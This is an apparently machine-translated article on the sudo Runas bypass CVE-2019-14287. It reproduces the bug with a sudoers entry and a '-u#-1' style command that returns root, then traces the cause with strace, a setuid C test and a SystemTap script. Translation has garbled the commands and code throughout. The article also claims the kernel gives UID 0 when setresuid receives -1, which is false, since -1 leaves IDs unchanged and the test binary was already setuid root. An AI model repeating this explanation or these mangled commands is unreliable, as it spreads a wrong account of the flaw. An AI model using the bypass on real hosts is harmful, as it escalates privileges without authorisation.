Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to understand the vulnerability analysis of CVE-2019-14287Linux sudo

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to understand the vulnerability analysis of CVE-2019-14287Linux sudo? in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

Sudo has exposed a vulnerability in which unauthorized privileged users can bypass restrictions to gain privileges. The official announcement of the restoration can be found at https://www.sudo.ws/alerts/minus_1_uid.html.

1. Loophole recurrence

Experimental environment:

Operating system CentOS Linux release 7.5.1804 kernel 3.10.0-862.14.4.el7.x86_64sudo version 1.8.19p2

First, add a system account test_sudo as the experiment:

[root@localhost ~] # useradd test_sudo

Then add the following to / etc/sudoers with the root identity:

Test_sudo ALL= (all recording root) / usr/bin/id

Indicates that the test_sudo account is allowed to execute / usr/bin/id as a non-root account, and an attempt to run the id command under the root account will be rejected:

[test_sudo@localhost ~] $sudo id Sorry, user test_sudo does not have permission to execute / bin/id on localhost.localdomain as root.

Sudo-u can also replace the user by specifying UID, when the specified UID is-1 or 4294967295 (the complement of-1 is actually handled internally as an unsigned integer), so a vulnerability can be triggered to bypass the above restrictions and execute commands as root:

[test_sudo@localhost] $sudo-root 1 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0: c0.c1023 [test _ sudo@localhost] $sudo-uplink 4294967295 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c10232. Analysis of loophole principle

Find the submitted fix code in the official code repository: https://www.sudo.ws/repos/sudo/rev/83db8dba09e7.

Judging from the submitted code, only the lib/util/strtoid.c has been modified. The sudo_strtoid_v1 function defined in strtoid.c is responsible for parsing the UID string specified in the parameters. Patch key code:

/ * Disallow id-1, which means "no change". * / if (! valid_separator (p, ep, sep) | | llval = =-1 | | llval = = (id_t) UINT_MAX) {if (errstr! = NULL) * errstr = N" invalid value "; errno = EINVAL; goto done;}

The llval variable is the parsed value, and llval is not allowed to be-1 and UINT_MAX (4294967295).

That is, the patch only limits the value. From the perspective of vulnerability behavior, if it is-1, the final UID is 0, why can't it be-1? What happens when UID is-1? Continue to analyze it in depth.

Let's first trace the system calls with strace to see:

[root@localhost] # strace-u test_sudo sudo-upright Murray 1 id

Because the strace-u parameter requires the root identity to be used, the above command needs to be switched to the root account first, and then the sudo-uplink 1 id command is executed as test_sudo. From the output system call, notice that:

Setresuid (- 1,-1,-1) = 0

Setresuid is called internally by sudo to elevate permissions (although other functions such as setting groups are called, but without analysis), and the argument passed in is-1.

So let's do a simple experiment to call setresuid (- 1,-1,-1) to see why it is root identity after execution, as follows:

# include # include # include int main () {setresuid (- 1,-1,-1); setuid (0); printf ("EUID:% d, UID:% d\ n", geteuid (), getuid ()); return 0;}

Note that you need to change the user of the compiled binary file to root, and add the s bit. When the s bit is set, other accounts will run as the account to which the file belongs.

For convenience, I compile directly under the root account and add the s bit:

[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod + s a.out

Then execute a.out with the test_sudo account:

[test_sudo@localhost tmp] $. / a.outEUID: 0, UID: 0

As you can see, after running, the current identity becomes root.

In fact, the setresuid function is just a simple encapsulation of the system call setresuid32, and its implementation can be seen in the source code of GLibc:

/ File: sysdeps/unix/sysv/linux/i386/setresuid.cint__setresuid (uid_t ruid, uid_t euid, uid_t suid) {int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result;}

The last thing setresuid32 calls is the kernel function sys_setresuid, which is implemented as follows:

/ / File: kernel/sys.cSYSCALL_DEFINE3 (setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) {. Struct cred * new;... Kruid = make_kuid (ns, ruid); keuid = make_kuid (ns, euid); ksuid = make_kuid (ns, suid); new = prepare_creds (); old = current_cred (); If (ruid! = (uid_t)-1) {new- > uid = kruid; if (! uid_eq (kruid, old- > uid)) {retval = set_user (new); if (retval

< 0) goto error; } } if (euid != (uid_t) -1) new->

Euid = keuid; if (suid! = (uid_t)-1) new- > suid = ksuid; new- > fsuid = new- > euid;. Return commit_creds (new); error: abort_creds (new); return retval;}

To put it simply, when the kernel is processing, it will call the prepare_creds function to create a new credential structure, and the three parameters ruid, euid and suid passed to the function will assign ruid, euid and suid to the new credential only if it is not-1 (see the above three if logic), otherwise the default UID is 0. Finally, commit_creds is called to make the credential valid. This is why you have root permission when you pass-1.

We can also write a SystemTap script to observe the state of calling setresuid from the application layer and passing-1 to the kernel:

# system call probe syscall.setresuid {printf ("exec% s, args:% s\ n", execname (), argstr)} # capture the parameter probe kernel.function ("sys_setresuid") received by the kernel function sys_setresuid. Call {printf ("(sys_setresuid) arg1:% d, arg2:% d, arg3:% d\ n", int_arg (1), int_arg (2), int_arg (3)) } # capture the return value of the kernel function prepare_creds probe kernel.function ("prepare_creds"). Return {# for more information on the data structure, please see printf ("(prepare_cred), uid:% d; euid:% d\ n", $return- > uid- > val, $return- > euid- > val)} in linux/cred.h.

Then execute:

[root@localhost tmp] # stap test.stp

Then run the a.out we compiled earlier and take a look at what stap captured:

Exec a.out, args:-1,-1 # here are the three parameters passed to setresuid (sys_setresuid) arg1:-1, arg2:-1, arg3:-1 # here shows the three parameters (prepare_cred) of the final call to sys_setresuid, uid: 1000 Euid: 0 # sys_setresuid calls prepare_cred. You can see that the default EUID is 0. This is the answer to the question about how to understand the vulnerability analysis of CVE-2019-14287Linux sudo. I hope the above content can be of some help to everyone. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report